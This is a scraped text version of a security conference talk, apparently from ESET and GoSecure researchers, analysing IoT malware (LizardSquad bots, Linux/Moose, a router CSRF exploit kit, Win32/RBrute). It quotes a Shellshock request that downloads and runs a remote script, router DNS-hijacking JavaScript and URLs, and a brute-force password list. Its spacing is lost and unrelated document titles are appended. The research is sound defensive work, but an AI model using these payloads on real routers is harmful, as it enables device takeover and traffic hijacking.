IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses...

97
.

Transcript of IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses...

Page 1: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

.

Page 2: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

IoTorInternetof{Things,Threats}

Page 3: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Thomas(@nyx__o)MalwareResearcheratESETCTFloverOpensourcecontributor

Page 4: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Olivier(@obilodeau)SecurityResearcheratGoSecurePreviouslyMalwareResearcheratESETInfoseclectureratETSUniversityinMontrealInfosecdeveloper,networkadmin,linuxsystemadmin

Co-founderMontrehack(hands-onsecurityworkshops)FounderNorthSecHackerJeopardy

Page 5: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AgendaAboutIOTLizardSquadLinux/MooseExploitKitWin32/RBruteConclusion

Page 6: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 7: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 8: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 9: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 10: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 11: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhyItMatters?HardtodetectHardtoremediateHardtofixLowhangingfruitforbadguys

Page 12: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ARealThreatSeveralcasesdisclosedinthelasttwoyearsAlotofsame-oldbackgroundnoise(DDoSer)Thingsareonlygettingworse

Page 13: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 14: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 15: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 16: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 17: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 18: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 19: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Wait,isIoTmalwarereallyaboutthings?

Page 20: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

No.Notyet.No.Notyet.

Page 21: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 22: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 23: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Sowhatkindofmalwarecanwefindonsuchinsecuredevices?

Page 24: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

LizardSquadLizardSquad

Page 25: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 26: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhoareLizardSquad?BlackhathackinggroupLotsofDistributedDenialofService(DDoS)DDoSPlayStationNetworkandXboxliveinChristmas2014BombthreatsDDoSforhire(LizardStresser)

Page 27: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

DesCYBER-DesCYBER-CHENAPANS!CHENAPANS!

Page 28: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 29: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

TheMalwareLinux/GafgytLinux/Powbot,Linux/Aidra,Kaiten,…Probablyothers,assourceispublic

Page 30: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

CaracteristicsTelnetscannerFlooding:UDP,TCP,JunkandHold

Page 31: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

SomeServerCode"*****************************************""*WELCOMETOTHEBALLPIT*""*Nowwith*refrigerator*support*""*****************************************"

Page 32: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AttackVectorsShellshockSSHcredentialsbrute-forceTelnetcredentialsbrute-force

Page 33: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExempleofShellshockAttempt

GET/cgi-bin/authLogin.cgiHTTP/1.1Host:127.0.0.1Cache-Control:no-cacheConnection:Keep-AlivePragma:no-cacheUser-Agent:(){goo;};wget-qO-http://o.kei.su/qn|sh>/dev/null2>&1&

Page 34: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

OtherVariantsHTTPSsupportCloudFlareprotectionbypass

Page 35: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 36: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Sophisticated?LizardStresserdatabasewasleakedPasswordsinplaintext…

Page 37: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

IRCCommandandControl

-------Daychangedto08/25/15-------09:32-!-Thereare0usersand2085invisibleon1servers09:32-!-42unknownconnection(s)09:32-!-3channelsformed09:32-!-Ihave2085clientsand0servers09:32-!-20852119Currentlocalusers2085,max211909:32-!-20852119Currentglobalusers2085,max2119

Page 38: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

BotMasters12:56-!-Topicfor#Fazzix:1k12:56-!-Topicsetbyvoid<>(WedAug1909:58:452015)12:56[Users#Fazzix]12:56[~void][~void_][@bob1k][@Fazzix][Myutro]·12:56-!-Irssi:#Fazzix:Totalof5nicks(4ops,0halfops,0voices,1normal)12:56-!-Channel#FazzixcreatedMonAug1703:11:29201512:56-!-Irssi:Jointo#Fazzixwassyncedin2secs

Page 39: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/MooseLinux/Moose

Page 40: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/MooseDiscoveredinNovember2014Thoroughlyanalyzedinearly2015PublishedareportinlateMay2015

Page 41: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

MooseDNAakaMalwaredescription

Hangtight,thisisarecap

Page 42: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/Moose…Namedafterthestring"elan"presentinthemalware

executable

Page 43: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Elan…?

Page 44: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

TheLotusElan

Page 45: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ElánTheSlovakrockband(from1969andstillactive)

Page 46: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 47: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

NetworkCapabilitiesPivotthroughfirewallsHome-madeNATtraversalCustom-madeProxyserviceonlyavailabletoasetofwhitelistedIPaddresses

Remotelyconfiguredgenericnetworksniffer

Page 48: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 49: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AttackVectorTelnetcredentialsbruteforceWordlistof304user/passentriessentbyserver

Page 50: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

CompromiseProtocol

Page 51: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Anti-AnalysisStaticallylinkedbinarystrippedofitsdebuggingsymbolsHardtoreproduceenvironmentrequiredformalwaretooperateMisleadingstrings(getcool.com)

Page 52: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 53: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

MooseHerdingTheMalwareOperation

Page 54: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ViaC&CConfigurationNetworksnifferwasusedtostealHTTPCookiesTwitter:twll,twidFacebook:c_userInstagram:ds_user_idGoogle:SAPISID,APISIDGooglePlay/Android:LAY_ACTIVE_ACCOUNTYoutube:LOGIN_INFO

Page 55: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ViaProxyUsageAnalysisNatureoftrafficProtocolTargetedsocialnetworks

Page 56: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 57: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 58: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample

Page 59: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample(cont.)

Page 60: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample(cont.)

Page 61: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample(cont.)

Page 62: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Anti-TrackingProxyaccessisprotectedbyanIP-basedWhitelistSowecan’tusetheproxyservicetoevaluatemalwarepopulationBlindbecauseofHTTPSenforcedonsocialnetworks

Page 63: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 64: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AStrangeAnimalnotintheDDoSorbitcoinminingbusinessnox86variantfoundcontrolledbyasinglegroupofactors

Page 65: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Status

Page 66: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhitepaperImpactFewweeksafterthepublicationtheC&CserverswentdarkAfterareboot,allaffecteddevicesshouldbecleanedButvictimscompromisedviaweakcredentials,sotheycanalwaysreinfect

Page 67: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Aliveordead?

Page 68: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Yay!Except…

Page 69: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/MooseUpdateNewsampleinSeptemberNewproxyserviceport(20012)NewC&CselectionalgorithmFewdifferencesStillunderscrutiny

Page 70: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 71: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 72: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitTargetingExploitKitTargetingRoutersRouters

Page 73: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitDefinitionAutomateexploitationTargetsbrowsersCommonexploitsareAdobeandJava

Page 74: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

source:Malwarebytes

Page 75: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitinAction

Page 76: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitinAction(cont.)

Cross-SiteRequestForgery(CSRF)Usesdefaultcredential(HTTP)ChangesprimaryDomainNameSystem(DNS)

Page 77: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitCSRF<html><head><scripttype="text/javascript"src<body><iframeid="iframe"sandbox="allow-same-origin"<scriptlanguage="javascript">

Page 78: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitHow-Tofunctione_belkin(ip){varmethod="POST";varurl="";vardata="";url="http://"+ip+"/cgi-bin/login.exe?pws=admin"exp(url,"","GET");url="http://"+ip+"/cgi-bin/setup_dns.exe";data="dns1_1="+pDNS.split('.')[0]+"&dns1_2="exp(url,data,method);}

Page 79: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitcontinuallyimprovedObfuscationExploitsforCVEs

Page 80: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKit-CVECVE-2015-1187D-LinkDIR-636LRemoteCommandInjectionIncorrectAuthentication

Page 81: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

RecapExploitKitChangeDNSFileless

Page 82: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhatCanTheyDo?UniversalXSSonallHTTPsitesfetchingJavascriptona3rdpartydomainPhishingAdfraud

Page 83: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

YouSaidAdfraud?InjectionviaGoogleanalyticsdomainhijackingJavascriptrunsincontextofeverypage

Page 84: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExempleofGoogleAnalyticsSubstitution'adcash':function(){varadcash=document.createElement('script'adcash.type='text/javascript';adcash.src='http://www.adcash.com/script/java.php?option=rotateur&r=274944'document.body.appendChild(adcash);},

Page 85: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 86: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBrute(cont.)Triestofindadministrationwebpages(IP)ScanandreportRoutermodelisextractedfromtherealmattributeoftheHTTPauthentication

Page 87: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteTargets$stringsrbrute.exe[...]TD-W8901GTD-W8901GBTD-W8951NDTD-W8961NDTD-8840TTD-W8961NDTD-8816TD-8817TD-W8151NTD-W8101GZXDSL831CIIZXV10W300[...]DSL-2520UDSL-2600UDSLrouterTD-W8901GTD-W8901G3.0TD-W8901GBTD-W8951NDTD-W8961ND

Page 88: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteBruteforceLogins:admin,support,root&AdministratorPasswordlistretrievedfromtheCnC

<emptystring>1111111234512345612345678abc123adminAdministratorconsumerdragongizmodoiqrquksmletmeinlifehackmonkeypasswordqwertyrootsoporteETB2006support

Page 89: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteChangingDNS

http://<router_IP>/&dnsserver=<malicious_DNS>&dnsserver2=8.8.8.8&Save=Savehttp://<router_IP>/dnscfg.cgi?dnsPrimary=<malicious_DNS>http://<router_IP>/Enable_DNSFollowing=1&dnsPrimary=

Page 90: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteNextStepSimpleredirectiontofakeChromeinstaller(facebookorgoogledomains)Install(useractionrequired)ChangeprimaryDNSonthecomputer(viakeyregistry)

HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/{networkinterfaceUUID}/NameServer

Page 91: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhyreinfectsomeonebyRBruteandnotSality?

Page 92: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteInACoffeeShop

InfecteduserInfectedrouterEveryoneisinfected

Page 93: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

RBruteandSality

Page 94: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ConclusionEmbeddedmalware

NotyetcomplexToolsandprocessesneedtocatchupalowhangingfruitPreventionsimple

Page 95: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Thanks!Thankyou!SpecialthankstoESETCanadaResearchTeam

Page 96: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Questions?Questions?

@obilodeau@nyx__o

Page 97: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Referenceshttp://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdfhttp://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.htmlhttps://gist.github.com/josephwegner/1d20f1ce1d59b61172e1http://www.welivesecurity.com/2014/04/02/win32sality-newest-component-a-routers-primary-dns-changer-named-win32rbrute/

http://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdf
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html
https://gist.github.com/josephwegner/1d20f1ce1d59b61172e1
http://www.welivesecurity.com/2014/04/02/win32sality-newest-component-a-routers-primary-dns-changer-named-win32rbrute/

Offline bruteforce attack on wi fi protected setup

Offline bruteforce attack on wi fi protected setup

Bruteforce basic presentation_file - linx

Bruteforce basic presentation_file - linx

Say hello to the future. - Cisco...clients, and network access Enable port access only to whitelisted devices Reduce response times Email alerts for faster response to critical events

Say hello to the future. - Cisco...clients, and network access Enable port access only to whitelisted devices Reduce response times Email alerts for faster response to critical events

ComNet - Lab n 1fourmaux/ARes/ARes_T1_en.pdfMasterInformatique ComNet CommunicationNetworks 1.2 Analyzingaframebyhand To fully understand how a sniffer analyzes a frame, we analyze

ComNet - Lab n 1fourmaux/ARes/ARes_T1_en.pdfMasterInformatique ComNet CommunicationNetworks 1.2 Analyzingaframebyhand To fully understand how a sniffer analyzes a frame, we analyze

Jednostavni Blockchain sustav u c++ · Hash funkcije su jednosmjerne funkcije, nemaju inverznu funkciju. Jedini način da se dobiju ulazni podaci hash funkcije iz izlaza je bruteforce

Jednostavni Blockchain sustav u c++ · Hash funkcije su jednosmjerne funkcije, nemaju inverznu funkciju. Jedini način da se dobiju ulazni podaci hash funkcije iz izlaza je bruteforce

10.0.0 McAfee Data Loss Prevention Endpoint available for rule types ... Removable storage device rule with a whitelisted process ... 10 McAfee Data Loss Prevention Endpoint 10.0.0

10.0.0 McAfee Data Loss Prevention Endpoint available for rule types ... Removable storage device rule with a whitelisted process ... 10 McAfee Data Loss Prevention Endpoint 10.0.0

NVidia CUDA for Bruteforce Attacks - DefCamp 2012

NVidia CUDA for Bruteforce Attacks - DefCamp 2012

Configurations, Troubleshooting, and Advanced Secure Browser ... · The Merriam-Webster URLs listed in Table 3 should be whitelisted to ensure that students can use them during testing.

Configurations, Troubleshooting, and Advanced Secure Browser ... · The Merriam-Webster URLs listed in Table 3 should be whitelisted to ensure that students can use them during testing.

What Lies Beneath? Analyzing Automated SSH Bruteforce Attacks · clarifying VM-speci c observations where necessary. 4 Characteristics of Attacking Systems Table 1 summarizes the

What Lies Beneath? Analyzing Automated SSH Bruteforce Attacks · clarifying VM-speci c observations where necessary. 4 Characteristics of Attacking Systems Table 1 summarizes the

Questions about Whitelisted Internet for Jammu and Kashmir

Questions about Whitelisted Internet for Jammu and Kashmir

Sniffer - unipr.italfieri/sniffer.pdfpromiscuous mode permettendo alla macchina ’A’ di vedere tutto il traffico che intercorre tra le macchine ’B’ e ’C’, sempre se condividono

Sniffer - unipr.italfieri/sniffer.pdfpromiscuous mode permettendo alla macchina ’A’ di vedere tutto il traffico che intercorre tra le macchine ’B’ e ’C’, sempre se condividono

Algorithms - Chapter 3 Bruteforce

Algorithms - Chapter 3 Bruteforce

Configurations, Troubleshooting, and Advanced Secure ... · 6/12/2020  · The Merriam -Webster URLs listed in . Table 3. should be whitelisted to ensure that students can use them

Configurations, Troubleshooting, and Advanced Secure ... · 6/12/2020  · The Merriam -Webster URLs listed in . Table 3. should be whitelisted to ensure that students can use them

BruteForce SSH attack Study

BruteForce SSH attack Study

Perancangan Sistem Pencegahan Serangan Bruteforce pada ...€¦ · dan kebutuhan, menuntut meningkatnya kualitas keamanan jaringan. Ancaman ... jaringan yang menggunakan sistem keamanan

Perancangan Sistem Pencegahan Serangan Bruteforce pada ...€¦ · dan kebutuhan, menuntut meningkatnya kualitas keamanan jaringan. Ancaman ... jaringan yang menggunakan sistem keamanan

SAP S/4HANA Cloud, single tenant edition Customer Presentation · S/4HANA Extensibility Framework and extensions via SCP, using whitelisted APIs S/4HANA Extensibility Framework and

SAP S/4HANA Cloud, single tenant edition Customer Presentation · S/4HANA Extensibility Framework and extensions via SCP, using whitelisted APIs S/4HANA Extensibility Framework and

Beyond attack trees: Attack and defense modeling with BDMPCracking _alternatives. OR. Password_attacks Bruteforce. AND. Social Engineering Success EmailEmail__traptrap_ _executionexecution

Beyond attack trees: Attack and defense modeling with BDMPCracking _alternatives. OR. Password_attacks Bruteforce. AND. Social Engineering Success EmailEmail__traptrap_ _executionexecution

The Cayman Islands’...the 6th largest global financial centre and the number one hedge fund jurisdiction in the world. The Cayman Islands is OECD whitelisted, meets the highest anti-money

The Cayman Islands’...the 6th largest global financial centre and the number one hedge fund jurisdiction in the world. The Cayman Islands is OECD whitelisted, meets the highest anti-money

SISTEM PENCEGAHAN SERANGAN …repository.unpas.ac.id/2960/1/Cover_dll_103040077.pdfSISTEM PENCEGAHAN SERANGAN BRUTEFORCE PADA UBUNTU SERVER DENGAN MENGGUNAKAN FAIL2BAN TUGAS AKHIR

SISTEM PENCEGAHAN SERANGAN …repository.unpas.ac.id/2960/1/Cover_dll_103040077.pdfSISTEM PENCEGAHAN SERANGAN BRUTEFORCE PADA UBUNTU SERVER DENGAN MENGGUNAKAN FAIL2BAN TUGAS AKHIR

LAB0: GETTING UP TO SPEED VERSION 1.9 Introduction to ...We will be using the Wireshark packet sniffer [wireshark.org] for these labs, allowing us to display the contents of messages

LAB0: GETTING UP TO SPEED VERSION 1.9 Introduction to ...We will be using the Wireshark packet sniffer [wireshark.org] for these labs, allowing us to display the contents of messages